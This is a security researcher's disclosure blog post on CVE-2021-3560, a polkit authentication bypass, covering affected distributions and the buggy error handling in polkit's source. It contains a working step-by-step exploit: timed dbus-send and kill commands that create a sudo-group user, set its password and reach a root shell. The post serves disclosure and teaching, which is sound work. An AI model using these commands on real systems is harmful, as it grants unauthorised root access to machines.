Kevin Backhouse
I'm a security researcher on the GitHub Security Lab team. I try to help make open source software more secure by searching for vulnerabilities and working with maintainers to get them fixed.
polkit is a system service installed by default on many Linux distributions. It’s used by systemd, so any Linux distribution that uses systemd also uses polkit.
polkit is a system service installed by default on many Linux distributions. It’s used by systemd, so any Linux distribution that uses systemd also uses polkit. As a member of GitHub Security Lab, my job is to help improve the security of open source software by finding and reporting vulnerabilities. A few weeks ago, I found a privilege escalation vulnerability in polkit. I coordinated the disclosure of the vulnerability with the polkit maintainers and with Red Hat’s security team. It was publicly disclosed, the fix was released on June 3, 2021, and it was assigned CVE-2021-3560.
The vulnerability enables an unprivileged local user to get a root shell on the system. It’s easy to exploit with a few standard command line tools, as you can see in this short video. In this blog post, I’ll explain how the exploit works and show you where the bug was in the source code.
The bug I found was quite old. It was introduced seven years ago in commit bfa5036 and first shipped with polkit version 0.113. However, many of the most popular Linux distributions didn’t ship the vulnerable version until more recently.
The bug has a slightly different history on Debian and its derivatives (such as Ubuntu), because Debian uses a fork of polkit with a different version numbering scheme. In the Debian fork, the bug was introduced in commit f81d021 and first shipped with version 0.105-26. The most recent stable release of Debian, Debian 10 (“buster”), uses version 0.105-25, which means that it isn’t vulnerable. However, some Debian derivatives, such as Ubuntu, are based on Debian unstable, which is vulnerable.
Here’s a table with a selection of popular distributions and whether they’re vulnerable (note that this isn’t a comprehensive list):
Distribution | Vulnerable? |
---|---|
RHEL 7 | No |
RHEL 8 | Yes |
Fedora 20 (or earlier) | No |
Fedora 21 (or later) | Yes |
Debian 10 (“buster”) | No |
Debian testing (“bullseye”) | Yes |
Ubuntu 18.04 | No |
Ubuntu 20.04 | Yes |
polkit is the system service that’s running under the hood when you see a dialog box like the one below:
It essentially plays the role of a judge. If you want to do something that requires higher privileges—for example, creating a new user account—then it’s polkit’s job to decide whether or not you’re allowed to do it. For some requests, polkit will make an instant decision to allow or deny, and for others it will pop up a dialog box so that an administrator can grant authorization by entering their password.
The dialog box might give the impression that polkit is a graphical system, but it’s actually a background process. The dialog box is known as an authentication agent and it’s really just a mechanism for sending your password to polkit. To illustrate that polkit isn’t just for graphical sessions, try running this command in a terminal:
pkexec reboot
pkexec
is a similar command to sudo
, which enables you to run a command as root. If you run pkexec
in a graphical session, it will pop up a dialog box, but if you run it in a text-mode session such as SSH then it starts its own text-mode authentication agent:
$ pkexec reboot ==== AUTHENTICATING FOR org.freedesktop.policykit.exec === Authentication is needed to run `/usr/sbin/reboot' as the super user Authenticating as: Kevin Backhouse,,, (kev) Password:
Another command that you can use to trigger polkit
from the command line is dbus-send
. It’s a general purpose tool for sending D-Bus messages that’s mainly used for testing, but it’s usually installed by default on systems that use D-Bus. It can be used to simulate the D-Bus messages that the graphical interface might send. For example, this is the command to create a new user:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1
If you run that command in a graphical session, an authentication dialog box will pop up, but if you run it in a text-mode session such as SSH, then it fails immediately. That’s because, unlike pkexec
, dbus-send
does not start its own authentication agent.
The vulnerability is surprisingly easy to exploit. All it takes is a few commands in the terminal using only standard tools like bash
, kill
, and dbus-send
.
The proof of concept (PoC) exploit I describe in this section depends on two packages being installed: accountsservice
and gnome-control-center
. On a graphical system such as Ubuntu Desktop, both of those packages are usually installed by default. But if you’re using something like a non-graphical RHEL server, then you might need to install them, like this:
sudo yum install accountsservice gnome-control-center
Of course, the vulnerability doesn’t have anything specifically to do with either accountsservice
or gnome-control-center
. They’re just polkit clients that happen to be convenient vectors for exploitation. The reason why the PoC depends on gnome-control-center
and not just accountsservice
is subtle—I’ll explain that later.
To avoid repeatedly triggering the authentication dialog box (which can be annoying), I recommend running the commands from an SSH session:
ssh localhost
The vulnerability is triggered by starting a dbus-send
command but killing it while polkit is still in the middle of processing the request. I like to think that it’s theoretically possible to trigger by smashing Ctrl+C at just the right moment, but I’ve never succeeded, so I do it with a small amount of bash scripting instead. First, you need to measure how long it takes to run the dbus-send
command normally:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1
The output will look something like this:
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required real 0m0.016s user 0m0.005s sys 0m0.000s
That took 16 milliseconds for me, so that means that I need to kill the dbus-send
command after approximately 8 milliseconds:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!
You might need to run that a few times, and you might need to experiment with the number of milliseconds in the delay. When the exploit succeeds, you’ll see that a new user named boris
has been created:
$ id boris uid=1002(boris) gid=1002(boris) groups=1002(boris),27(sudo)
Notice that boris
is a member of the sudo
group, so you’re already well on your way to full privilege escalation. Next, you need to set a password for the new account. The D-Bus interface expects a hashed password, which you can create using openssl
:
$ openssl passwd -5 iaminvincible! $5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB
Now you just have to do the same trick again, except this time call the SetPassword
D-Bus method:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!
Again, you might need to experiment with the length of the delay and run it several times until it succeeds. Also, note that you need to paste in the correct user identifier (UID), which is “1002” in this example, plus the password hash from the openssl
command.
Now you can login as boris and become root:
su - boris # password: iaminvincible! sudo su # password: iaminvincible!
To help explain the vulnerability, here’s a diagram of the five main processes involved during the dbus-send
command:
The two processes above the dashed line—dbus-send
and the authentication agent—are unprivileged user processes. Those below the line are privileged system processes. In the center is dbus-daemon
, which handles all of the communication: the other four processes communicate with each other by sending D-Bus messages.
dbus-daemon
plays a very important role in the security of polkit, because it enables the four processes to communicate securely and check each other’s credentials. For example, when the authentication agent sends an authentication cookie to polkit, it does so by sending it to the org.freedesktop.PolicyKit1
D-Bus address. Since that address is only allowed to be registered by a root process, there is no risk of an unprivileged process intercepting messages. dbus-daemon
also assigns every connection a “unique bus name:” typically something like “:1.96”. It’s a bit like a process identifier (PID), except without being vulnerable to PID recycling attacks. Unique bus names are currently chosen from a 64-bit range, so there’s no risk of a vulnerability caused by a name being reused.
This is the sequence of events:
dbus-send
asks accounts-daemon
to create a new user.accounts-daemon
receives the D-Bus message from dbus-send
. The message includes the unique bus name of the sender. Let’s assume it’s “:1.96”. This name is attached to the message by dbus-daemon
and cannot be forged.accounts-daemon
asks polkit if connection :1.96 is authorized to create a new user.dbus-daemon
for the UID of connection :1.96.accounts-daemon
.accounts-daemon
creates the new user account.Why does killing the dbus-send
command cause an authentication bypass? The vulnerability is in step four of the sequence of events listed above. What happens if polkit asks dbus-daemon
for the UID of connection :1.96, but connection :1.96 no longer exists? dbus-daemon
handles that situation correctly and returns an error. But it turns out that polkit does not handle that error correctly. In fact, polkit mishandles the error in a particularly unfortunate way: rather than rejecting the request, it treats the request as though it came from a process with UID 0. In other words, it immediately authorizes the request because it thinks the request has come from a root process.
Why is the timing of the vulnerability non-deterministic? It turns out that polkit asks dbus-daemon
for the UID of the requesting process multiple times, on different codepaths. Most of those codepaths handle the error correctly, but one of them doesn’t. If you kill the dbus-send
command early, it’s handled by one of the correct codepaths and the request is rejected. To trigger the vulnerable codepath, you have to disconnect at just the right moment. And because there are multiple processes involved, the timing of that “right moment” varies from one run to the next. That’s why it usually takes a few tries for the exploit to succeed. I’d guess it’s also the reason why the bug wasn’t previously discovered. If you could trigger the vulnerability by killing the dbus-send
command immediately, then I expect it would have been discovered a long time ago, because that’s a much more obvious thing to test for.
The function which asks dbus-daemon
for the UID of the requesting connection is named polkit_system_bus_name_get_creds_sync
:
static gboolean polkit_system_bus_name_get_creds_sync ( PolkitSystemBusName *system_bus_name, guint32 *out_uid, guint32 *out_pid, GCancellable *cancellable, GError **error)
The behavior of polkit_system_bus_name_get_creds_sync
is strange, because when an error occurs, the function sets the error parameter but still returns TRUE
. It wasn’t clear to me, when I wrote my bug report, whether that was a bug or a deliberate design choice. (It turns out that it was a bug, because the polkit developers have fixed the vulnerability by returning FALSE
on error.) My uncertainty arose from the fact that almost all the callers of polkit_system_bus_name_get_creds_sync
don’t just check the Boolean result, but also check that the error value is still NULL
before proceeding. The cause of the vulnerability was that the error value wasn’t checked in the following stack trace:
0 in polkit_system_bus_name_get_creds_sync of polkitsystembusname.c:388 1 in polkit_system_bus_name_get_user_sync of polkitsystembusname.c:511 2 in polkit_backend_session_monitor_get_user_for_subject of polkitbackendsessionmonitor-systemd.c:303 3 in check_authorization_sync of polkitbackendinteractiveauthority.c:1121 4 in check_authorization_sync of polkitbackendinteractiveauthority.c:1227 5 in polkit_backend_interactive_authority_check_authorization of polkitbackendinteractiveauthority.c:981 6 in polkit_backend_authority_check_authorization of polkitbackendauthority.c:227 7 in server_handle_check_authorization of polkitbackendauthority.c:790 7 in server_handle_method_call of polkitbackendauthority.c:1272
The bug is in this snippet of code in check_authorization_sync
:
/* every subject has a user; this is supplied by the client, so we rely * on the caller to validate its acceptability. */ user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor, subject, NULL, error); if (user_of_subject == NULL) goto out; /* special case: uid 0, root, is _always_ authorized for anything */ if (POLKIT_IS_UNIX_USER (user_of_subject) && polkit_unix_user_get_uid (POLKIT_UNIX_USER (user_of_subject)) == 0) { result = polkit_authorization_result_new (TRUE, FALSE, NULL); goto out; }
Notice that the value of error
is not checked.
org.freedesktop.policykit.imply
annotationsI mentioned earlier that my PoC depends on gnome-control-center
being installed, in addition to accountsservice
. Why is that? The PoC doesn’t use gnome-control-center
in any visible way, and I didn’t even realize that I was depending on it when I wrote the PoC! In fact, I only found out because the Red Hat security team couldn’t reproduce my PoC on RHEL. When I tried it for myself on a RHEL 8.4 VM, I also found that the PoC didn’t work. That was puzzling, because it was working beautifully on Fedora 32 and CentOS Stream. The crucial difference, it turned out, was that my RHEL VM was a non-graphical server with no GNOME installed. So why does that matter? The answer is policykit.imply
annotations.
Some polkit actions are essentially equivalent to each other, so if one has already been authorized then it makes sense to silently authorize the other. The GNOME settings dialog is a good example:
After you’ve clicked the “Unlock” button and entered your password, you can do things like adding a new user account without having to authenticate a second time. That’s handled by a policykit.imply
annotation, which is defined in this config file:
/usr/share/polkit-1/actions/org.gnome.controlcenter.user-accounts.policy
The config file contains the following implication:
In other words, if you’re authorized to perform controlcenter
admin actions, then you’re also authorized to perform accountsservice
admin actions.
When I attached GDB to polkit on my RHEL VM, I found that I wasn’t seeing the vulnerable stack trace that I listed earlier. Notice that step four of the stack trace is a recursive call from check_authorization_sync
to itself. That happens on line 1227, which is where polkit checks the policykit.imply
annotations:
PolkitAuthorizationResult *implied_result = NULL; PolkitImplicitAuthorization implied_implicit_authorization; GError *implied_error = NULL; const gchar *imply_action_id; imply_action_id = polkit_action_description_get_action_id (imply_ad); /* g_debug ("%s is implied by %s, checking", action_id, imply_action_id); */ implied_result = check_authorization_sync (authority, caller, subject, imply_action_id, details, flags, &implied_implicit_authorization, TRUE, &implied_error); if (implied_result != NULL) { if (polkit_authorization_result_get_is_authorized (implied_result)) { g_debug (" is authorized (implied by %s)", imply_action_id); result = implied_result; /* cleanup */ g_strfreev (tokens); goto out; } g_object_unref (implied_result); } if (implied_error != NULL) g_error_free (implied_error);
The authentication bypass depends on the error value getting ignored. It was ignored on line 1121, but it’s still stored in the error
parameter, so it also needs to be ignored by the caller. The block of code above has a temporary variable named implied_error
, which is ignored when implied_result
isn’t null. That’s the crucial step that makes the bypass possible.
To sum up, the authentication bypass only works on polkit actions that are implied by another polkit action. That’s why my PoC only works if gnome-control-center
is installed: it adds the policykit.imply
annotation that enables me to target accountsservice
. That does not mean that RHEL is safe from this vulnerability, though. Another attack vector for the vulnerability is packagekit
, which is installed by default on RHEL and has a suitable policykit.imply
annotation for the package-install
action. packagekit
is used to install packages, so it can be exploited to install gnome-control-center
, after which the rest of the exploit works as before.
CVE-2021-3560 enables an unprivileged local attacker to gain root privileges. It’s very simple and quick to exploit, so it’s important that you update your Linux installations as soon as possible. Any system that has polkit version 0.113 (or later) installed is vulnerable. That includes popular distributions such as RHEL 8 and Ubuntu 20.04.
And if you like nerding out about security vulnerabilities (and how to fix them) check out some of the other work that the Security Lab team is doing or follow us on Twitter.
Can an attacker execute arbitrary commands on a remote server just by sending JSON? Yes, if the running code contains unsafe deserialization vulnerabilities. But how is that possible? In this blog post, we’ll describe how unsafe deserialization vulnerabilities work and how you can detect them in Ruby projects.
Let’s take a look at 10 key moments from the first decade of the GitHub Security Bug Bounty program.
GitHub is working with the OSS community to bring new supply chain security capabilities to the platform.